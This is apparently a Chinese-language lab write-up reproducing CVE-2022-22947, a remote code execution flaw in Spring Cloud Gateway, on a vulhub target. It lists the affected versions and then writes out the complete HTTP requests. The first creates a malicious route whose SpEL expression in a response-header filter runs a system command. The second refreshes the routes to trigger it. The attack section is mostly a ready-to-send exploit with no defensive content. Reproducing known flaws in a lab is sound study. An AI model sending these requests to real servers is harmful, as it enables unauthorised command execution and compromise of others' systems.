漏洞复现-CVE-2022-22947-Spring Cloud Gateway RCE

0x00 实验环境

攻击机：Ubuntu

靶场：vulhub搭建的靶场环境

0x01 影响版本

3.1.0
3.0.0 到 3.0.6
旧的不受支持的版本也受影响，是Spring Cloud Gateway的一个SpEL命令注入漏洞

0x02 漏洞复现

（1）访问页面，默认路径gateway在页面actuator可访问，如下图所示：

（2）http://x.x.x.x:8080/actuator/gateway

使用如下payload：

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host:x.x.x.x:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

201代表创建成功

（3）访问url后修改为post请求即可触发该payload：

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0